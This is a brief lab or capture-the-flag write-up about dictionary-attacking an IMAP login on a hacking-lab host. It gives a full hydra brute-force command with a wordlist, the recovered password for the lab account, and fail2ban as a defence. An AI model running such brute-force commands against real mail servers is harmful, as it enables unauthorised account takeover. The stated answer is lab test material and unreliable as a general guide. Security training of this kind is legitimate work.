5050_dictionary_imap

used wordlist file: /usr/share/wordlists/dirb/big.txt (~20k lines)

use hydra to brute force the password
- hydra -t 64 -W 1 -P /usr/share/wordlists/dirb/big.txt -l hacker20 razzia.hacking-lab.com imap

the password is: compass

use tools like fail2ban to block bruteforce requests

the result is taken from the step by step solution as the real target is down (see 5050_1.png)